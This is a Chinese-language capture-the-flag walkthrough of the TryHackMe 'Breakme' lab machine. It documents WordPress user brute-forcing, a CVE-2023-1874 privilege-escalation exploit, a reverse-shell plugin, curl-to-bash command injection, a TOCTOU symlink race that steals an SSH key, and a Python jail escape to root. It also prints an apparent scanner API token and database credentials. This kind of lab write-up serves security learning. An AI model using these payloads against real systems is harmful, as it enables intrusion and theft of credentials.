Breakme

https://tryhackme.com/room/breakmenu | medium（个人觉得 hard） | Break this secure system and get the flags, if you can.

Infomation：We think our system is secure, hack it and prove us wrong.

Note: Please allow 3-5 minutes for the VM to fully start.

前期踩点

➜  Breakme nmap -sT -min-rate 5000 -p- 10.10.136.4             
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-27 21:04 EDT
Warning: 10.10.136.4 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.136.4
Host is up (0.23s latency).
Not shown: 64999 closed tcp ports (conn-refused), 534 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 34.94 seconds

➜  Breakme nmap -sT -A -T4 -O -p 22,80 10.10.136.4  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-27 21:10 EDT
Nmap scan report for 10.10.136.4
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 8e:4f:77:7f:f6:aa:6a:dc:17:c9:bf:5a:2b:eb:8c:41 (RSA)
|   256 a3:9c:66:73:fc:b9:23:c0:0f:da:1d:c9:84:d6:b1:4a (ECDSA)
|_  256 6d:c2:0e:89:25:55:10:a9:9e:41:6e:0d:81:9a:17:cb (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Asus RT-N10 router or AXIS 211A Network Camera (Linux 2.6) (90%), Linux 2.6.18 (90%), AXIS 211A Network Camera (Linux 2.6.20) (90%), Linux 2.6.16 (90%), Crestron MPC-M5 AV controller or Wago Kontakttechnik 750-852 PLC (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   236.56 ms 10.21.0.1
2   236.58 ms 10.10.136.4

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.02 seconds

Web 渗透

信息收集

访问主页，默认页面

目录扫描

➜  Breakme dirsearch -u http://10.10.136.4 -x 403,404,429 -e php,zip,txt
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, zip, txt | HTTP method: GET | Threads: 25 | Wordlist size: 10439

Output File: /root/Desktop/test/Breakme/reports/http_10.10.136.4/_25-05-27_21-16-24.txt

Target: http://10.10.136.4/

[21:16:24] Starting: 
[21:17:41] 301 -  311B  - /manual  ->  http://10.10.136.4/manual/
[21:17:41] 200 -  208B  - /manual/index.html
[21:18:23] 200 -    2KB - /wordpress/wp-login.php
[21:18:24] 200 -   14KB - /wordpress/

目录扫描出wordpress ，直接上 WPScan

➜  Breakme wpscan --url 10.10.136.4/wordpress --api-token bOauzGNYvhy6BU3DlHGCMVZmWJDqZH5tuFoHfsdk91o -e u,ap
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` |  _ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.27
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://10.10.136.4/wordpress/ [10.10.136.4]
[+] Started: Tue May 27 21:26:09 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.56 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.10.136.4/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
  | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://10.10.136.4/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://10.10.136.4/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.4.3 identified (Insecure, released on 2024-01-30).
 | Found By: Rss Generator (Passive Detection)
 |  - http://10.10.136.4/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
 |  - http://10.10.136.4/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
 |
 | [!] 4 vulnerabilities identified:
 |
 | [!] Title: WP < 6.5.2 - Unauthenticated Stored XSS
 |     Fixed in: 6.4.4
 |     References:
 |      - https://wpscan.com/vulnerability/1a5c5df1-57ee-4190-a336-b0266962078f
 |      - https://wordpress.org/news/2024/04/wordpress-6-5-2-maintenance-and-security-release/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
 |     Fixed in: 6.4.5
 |     References:
 |      - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
 |     Fixed in: 6.4.5
 |     References:
 |      - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
 |      - https://wordpress.org/news/2024/06/wordpress-6-5-5/

[+] WordPress theme in use: twentytwentyfour
 | Location: http://10.10.136.4/wordpress/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://10.10.136.4/wordpress/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 | Style URL: http://10.10.136.4/wordpress/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://10.10.136.4/wordpress/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.0'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] wp-data-access
 | Location: http://10.10.136.4/wordpress/wp-content/plugins/wp-data-access/
 | Last Updated: 2025-05-23T00:05:00.000Z
 | [!] The version is out of date, the latest version is 5.5.41
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 5 vulnerabilities identified:
 |
 | [!] Title: WP Data Access < 5.3.8 - Subscriber+ Privilege Escalation
 |     Fixed in: 5.3.8
 |     References:
 |      - https://wpscan.com/vulnerability/7871b890-5172-40aa-88f2-a1b95e240ad4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1874
 |      - https://www.wordfence.com/blog/2023/04/privilege-escalation-vulnerability-patched-promptly-in-wp-data-access-wordpress-plugin/
 |
 | [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting
 |     Fixed in: 5.3.11
 |     References:
 |      - https://wpscan.com/vulnerability/39d1f22f-ea34-4d94-9dc2-12661cf69d36
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33999
 |
 | [!] Title: WP Data Access < 5.5.9 - Cross-Site Request Forgery
 |     Fixed in: 5.5.9
 |     References:
 |      - https://wpscan.com/vulnerability/4fe0d330-6511-4500-ac3f-b9bb944b8f0e
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-43295
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/85a33508-71f2-4aa1-8d51-667eb0690fbd
 |
 | [!] Title: WP Data Access – App, Table, Form and Chart Builder plugin < 5.5.23 - Unauthenticated SQL Injection
 |     Fixed in: 5.5.23
 |     References:
 |      - https://wpscan.com/vulnerability/2c35b255-9f6b-47c2-b3be-56e49b9a9961
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-12428
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/a1708d6e-14f5-418f-81eb-f9269159b5b1
 |
 | [!] Title: WP Data Access < 5.5.37 - Authenticated (Contributor+) Stored Cross-Site Scripting
 |     Fixed in: 5.5.37
 |     References:
 |      - https://wpscan.com/vulnerability/6a48d064-a325-42b1-a5fa-024f39bbef22
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39582
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/e8260829-49a6-4ec0-8771-25d1cce8cc8c
 |
 | Version: 5.3.5 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://10.10.136.4/wordpress/wp-content/plugins/wp-data-access/readme.txt

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:02 <==================================================================================================================================> (10 / 10) 100.00% Time: 00:00:02

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://10.10.136.4/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bob
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 1
 | Requests Remaining: 22

扫描出来一个权限提升漏洞 CVE-2023-1874 ，并且枚举出来两个用户：admin，bob

CVE-2023-1874 & 反弹 shell

那么应该是要找到 bob 的凭据，然后使用权限提升漏洞提权至 admin

这里枚举 bob 用户密码

➜  Breakme wpscan --url 10.10.136.4/wordpress --api-token bOauzGNYvhy6BU3DlHGCMVZmWJDqZH5tuFoHfsdk91o -U bob -P /usr/share/wordlists/rockyou.txt
...
[!] Valid Combinations Found:
 | Username: bob, Password: soccer

得到密码 soccer ，并以bob用户成功进入后台

可以看到并没有什么功能，只是一个普通用户

尝试利用 CVE-2023-1874 ，Payload：https://github.com/thomas-osgood/cve-2023-1874

➜  cve-2023-1874 git:(main) python cve20231874.py 10.10.154.120 80 -u bob -p soccer --path wordpress
============================================================
                     Target Information                     
============================================================
[i] Target IP: 10.10.154.120
[i] Target Port: 80
[i] Scheme: http
============================================================
[+] cookies set
[+] login success
[+] profile source successfully grabbed
[+] wpnonce: 80c6001c60
[+] userid: 2
[+] from: profile
[+] color-nonce: 38749c8133
[+] admin privileges successfully granted to "bob"
[+] exploit completed succesfully

利用完成后可以看到 bob 用户是管理员权限了

进行反弹shell ，这里可以在插件功能中实现

创建 reverse.php

<?php
/**
 * Plugin Name: Reverse Shell Plugin
 * Plugin URI: 
 * Description: Reverse Shell Plugin for penetration testing.
 * Version: 1.0
 * Author: Security Analyst
 * Author URI: http://www.example.com
 */
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.21.192.44/1234 0>&1'");
?>

进行压缩

➜  Breakme zip reverse.zip reverse.php 
  adding: reverse.php (deflated 28%)

上传到 wordpress 插件并启用

就能接收到弹过来的 shell 了

提权 - To John

/** Database username */
define( 'DB_USER', 'econor' );                                                                          
                                                                                                        
/** Database password */
define( 'DB_PASSWORD', 'SuP3rS3cR37#DB#P@55wd' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );           
                                                    
/** Database charset to use in creating database tables. */                
define( 'DB_CHARSET', 'utf8mb4' );                                                                      
                                                    
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

MariaDB [wpdatabase]> select * from wp_users;
+----+------------+------------------------------------+---------------+---------------------+------------------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email          | user_url                     | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+---------------------+------------------------------+---------------------+---------------------+-------------+--------------+
|  1 | admin      | $P$BlnXZ2omtPVcOotjXqtdQrN.IS0tqU. | admin         | admin@localhost.com | http://192.168.1.6/wordpress | 2023-08-09 20:49:44 |                     |           0 | admin        |
|  2 | bob        | $P$BoS2/2/DSJmMKVl1FNf5nMivAGk7lC1 | bob           | bob@localhost.com   |                              | 2023-08-09 20:55:29 |                     |           0 | bob bob      |
+----+------------+------------------------------------+---------------+---------------------+------------------------------+---------------------+---------------------+-------------+--------------+
2 rows in set (0.000 sec)

发现内部服务开启在 9999 端口

www-data@Breakme:/$ ss -tulpn
Netid  State   Recv-Q  Send-Q   Local Address:Port   Peer Address:Port Process  
udp    UNCONN  0       0              0.0.0.0:68          0.0.0.0:*             
tcp    LISTEN  0       80           127.0.0.1:3306        0.0.0.0:*             
tcp    LISTEN  0       4096         127.0.0.1:9999        0.0.0.0:*             
tcp    LISTEN  0       128            0.0.0.0:22          0.0.0.0:*             
tcp    LISTEN  0       511                  *:80                *:*             
tcp    LISTEN  0       128               [::]:22             [::]:*

上传socat 转发出去

www-data@Breakme:/tmp$ ./socat TCP-LISTEN:9998,fork tcp4:127.0.0.1:9999 &
[1] 1161

访问，貌似实现了几个功能

上传 pspy64 监听一下进程，然后使用工具

// chack Target
2025/05/28 04:29:36 CMD: UID=1002  PID=1211   | sh -c ping -c 2 10.21.192.44 >/dev/null 2>&1 &
// check User
2025/05/28 04:28:37 CMD: UID=1002  PID=1208   | sh -c id john >/dev/null 2>&1 &
// check File
2025/05/28 04:30:42 CMD: UID=1002  PID=1215   | sh -c find /opt -name "passwd" 2>/dev/null

可能会存在命令注入，这里使用 Check User 来测试（最简洁）

john|touch /tmp/1|
//
2025/05/28 04:40:32 CMD: UID=1002  PID=1311   | sh -c id john|touch/tmp/1| >/dev/null 2>&1 &

空格被过滤了，但是|并没有被过滤，我们尝试绕过空格

john|curl${IFS}10.21.192.44|

可以通过 ${IFS} 绕过空格，我们进行反弹 shell

// shell.sh
bash -i >& /dev/tcp/10.21.192.44/1234 0>&1

john|curl${IFS}10.21.192.44/shell.sh|bash|

接收到 john 的 shell

得到 user1.txt

cat user1.txt
5c3ea0d312568c7ac68d213785b26677

提权 - To Youcef

执行 /home/youcef/readfile 以 youcef 权限运行

john@Breakme:~$ find / -perm -u=s -type f 2>/dev/null
/home/youcef/readfile

john@Breakme:/home/youcef$ ls -al
total 52
drwxr-x--- 4 youcef john    4096 Aug  3  2023 .
drwxr-xr-x 5 root   root    4096 Feb  3  2024 ..
lrwxrwxrwx 1 youcef youcef     9 Aug  3  2023 .bash_history -> /dev/null
-rw-r--r-- 1 youcef youcef   220 Aug  1  2023 .bash_logout
-rw-r--r-- 1 youcef youcef  3526 Aug  1  2023 .bashrc
drwxr-xr-x 3 youcef youcef  4096 Aug  1  2023 .local
-rw-r--r-- 1 youcef youcef   807 Aug  1  2023 .profile
-rwsr-sr-x 1 youcef youcef 17176 Aug  2  2023 readfile
-rw------- 1 youcef youcef  1026 Aug  2  2023 readfile.c
drwx------ 2 youcef youcef  4096 Aug  5  2023 .ssh

我们尝试时使用readfile读readfile.c

john@Breakme:/home/youcef$ ./readfile readfile.c 
Nice try!

… 想读私钥但是不知道命名，我们将 readfile 拉出来逆向

int __fastcall main(int argc, const char **argv, const char **envp)
{
  struct stat stat_buf; // [rsp+20h] [rbp-4B0h] BYREF
  char buf[1024]; // [rsp+B0h] [rbp-420h] BYREF
  int v6; // [rsp+4B0h] [rbp-20h]
  int fd; // [rsp+4B4h] [rbp-1Ch]
  unsigned __int64 v8; // [rsp+4B8h] [rbp-18h]
  char *v9; // [rsp+4C0h] [rbp-10h]
  char *v10; // [rsp+4C8h] [rbp-8h]

  if ( argc == 2 )
  {
    if ( access(argv[1], 0) )
    {
      puts("File Not Found");
      return 1;
    }
    else if ( getuid() == 1002 )
    {
      v10 = strstr(argv[1], "flag");
      v9 = strstr(argv[1], "id_rsa");
      lstat((char *)argv[1], &stat_buf);
      HIDWORD(v8) = (stat_buf.st_mode & 0xF000) == 40960;
      LODWORD(v8) = access(argv[1], 4);
      usleep(0);
      if ( v10 || v8 >= 0xFFFFFFFF || v9 )
      {
        puts("Nice try!");
        return 1;
      }
      else
      {
        puts("I guess you won!\n");
        fd = open(argv[1], 0);
        if ( fd < 0 )
          __assert_fail("fd >= 0 && \"Failed to open the file\"", "readfile.c", 0x26u, "main");
        do
          v6 = read(fd, buf, 0x400uLL);
        while ( v6 > 0 && write(1, buf, v6) > 0 );
        return 0;
      }
    }
    else
    {
      puts("You can't run this program");
      return 1;
    }
  }
  else
  {
    puts("Usage: ./readfile <FILE>");
    return 1;
  }
}

参数验证。这是典型的命令行参数合法性校验，确保用户正确输入文件路径。

程序首先检查命令行参数是否为2（即./readfile <FILE>格式），否则提示用法并退出
文件存在性检查。

通过access(argv[1], 0)验证文件是否存在，若不存在则输出"File Not Found"并终止。此处使用access系统调用实现快速检查
权限控制。

程序通过getuid() == 1002限制只有UID为1002的用户才能执行后续操作，否则提示无权运行。这属于基于用户身份的访问控制（RBAC）
敏感文件过滤。

使用strstr检测文件名是否包含"flag"或"id_rsa"字符串。若存在，则拒绝读取（输出"Nice try!"）。这是防止用户访问敏感文件的常见防护措施
文件类型与权限校验
- 通过 lstat 获取文件元数据，检查文件类型是否为符号链接（ stat_buf.st_mode & 0xF000 == 40960 对应 S_IFLNK 宏），避免符号链接攻击。
- 使用 access(argv[1], 4) 验证文件是否可读（R_OK权限）。若不可读或为符号链接，则拒绝访问。
文件读取与输出。

当通过所有安全检查后，程序以只读模式打开文件（open(argv[1], 0)），循环读取1024字节缓冲区并输出到标准输出，直至文件内容全部读取完毕

未处理竞态条件（TOCTOU攻击），在 access 与 open 之间可能被恶意替换文件

而一种常见的起因就是代码先检查某个前置条件（例如认证），然后基于这个前置条件进行某项操作，但是在检查和操作的时间间隔内条件却可能被改变，如果代码的操作与安全相关，那么就很可能产生漏洞。这种安全问题也被称做 TOCTTOU（time of check and the time of use）。

存在未处理的TOCTOU竞态条件漏洞，具体出现在以下代码段:

LODWORD(v8) = access(argv[1], 4);  // 检查文件可读性（TOCTOU的Check阶段）
usleep(0);                         // 潜在的时间窗口
// ... 其他逻辑 ...
fd = open(argv[1], 0);             // 实际打开文件（TOCTOU的Use阶段）

access()函数用于检查文件是否可读（R_OK），但后续的open()才是真正操作文件的系统调用。两者之间的时间窗口允许攻击者通过符号链接替换文件。

攻击者在access()通过后立即将/tmp/XYZ替换为指向/etc/shadow的符号链接
open()实际打开的是被替换的符号链接文件，导致越权读取敏感数据

这里查看了 WP : https://0xb0b.gitbook.io/writeups/tryhackme/2024/breakme#exploitation | https://jaxafed.github.io/posts/tryhackme-breakme/#shell-as-youcef

while true; do touch file; sleep 0.3; ln -sf /home/youcef/.ssh/id_rsa file; sleep 0.3; rm file; done &

while true; do out=$(/home/youcef/readfile file | grep -Ev 'Found|guess'| grep .);if [[ -n "$out" ]]; then echo -e "$out"; break; fi; done

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCGzrHvF6
Tuf+ZdUVQpV+cXAAAAEAAAAAEAAAILAAAAB3NzaC1yc2EAAAADAQABAAAB9QCwwxfZdy0Z
.......
g6a2xx9zV89mfWvuvrXDBX2VkdnvdvDHQRx+3SElSk1k3Votzw/q383ta6Jl3EC/1Uh8RT
TabCXd2Ji/Y7UvM=
-----END OPENSSH PRIVATE KEY-----

我们拿到私钥准备进行登陆的时候发现加密了

➜  Breakme ssh youcef@10.10.68.166 -i id_rsa
The authenticity of host ''10.10.68.166 (10.10.68.166)' can't be established.
ED25519 key fingerprint is SHA256:7C+7KD5sXHHAuUddL4pe+CYqXj7LEWGqlWATdS4wRw8.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:139: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.68.166' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':

使用 john 来破解

➜  Breakme ssh2john id_rsa > hash

➜  Breakme john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
a123456          (id_rsa)     
1g 0:00:00:14 DONE (2025-05-28 07:11) 0.07042g/s 54.08p/s 54.08c/s 54.08C/s dominic..123qwe
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

得到密码 a123456

➜  Breakme ssh youcef@10.10.68.166 -i id_rsa                    
Enter passphrase for key 'id_rsa': 
Linux Breakme 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 21 07:55:16 2024 from 192.168.56.1
youcef@Breakme:~$

提权 - To Root

查看 sudo 权限

youcef@Breakme:~$ sudo -l
Matching Defaults entries for youcef on breakme:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User youcef may run the following commands on breakme:
    (root) NOPASSWD: /usr/bin/python3 /root/jail.py

运行，貌似只能输入数字，输入字母会输出Wrong Input

youcef@Breakme:~$ sudo python3 /root/jail.py
  Welcome to Python jail  
  Will you stay locked forever  
  Or will you BreakMe  
>>

通过收缩引擎搜索，Pyjail 是一种 CTF 的题型（知识盲区）

通过文章：https://xz.aliyun.com/news/12093 以及 https://shirajuki.js.org/blog/pyjail-cheatsheet

最后能通过

𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()

PS：breakpoint() 是 Python 3.7 及以上版本内置的调试函数，用于在代码中设置断点，使程序执行到此处时暂停并进入交互式调试模式

来执行任意python语句

youcef@Breakme:~$ sudo python3 /root/jail.py
  Welcome to Python jail  
  Will you stay locked forever  
  Or will you BreakMe  
>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
> <string>(1)<module>()->None
(Pdb) import os;os.system('/bin/bash -p')
root@Breakme:/home/youcef#

读取剩余的两个 flag

root@Breakme:~# cat /home/youcef/.ssh/user2.txt
df5b1b7f4f74a416ae27673b22633c1b

root@Breakme:~# cat .root.txt
e257d58481412f8772e9fb9fd47d8ca4

总结

感觉不是 medium，对我来说更像是 Hard，新的知识点太多了，真的无从下手，比前面的 Hard 的 Robots 还要难做…

其中TOCTTOU和pyjail都是新的知识点

TryHackMe - Breakme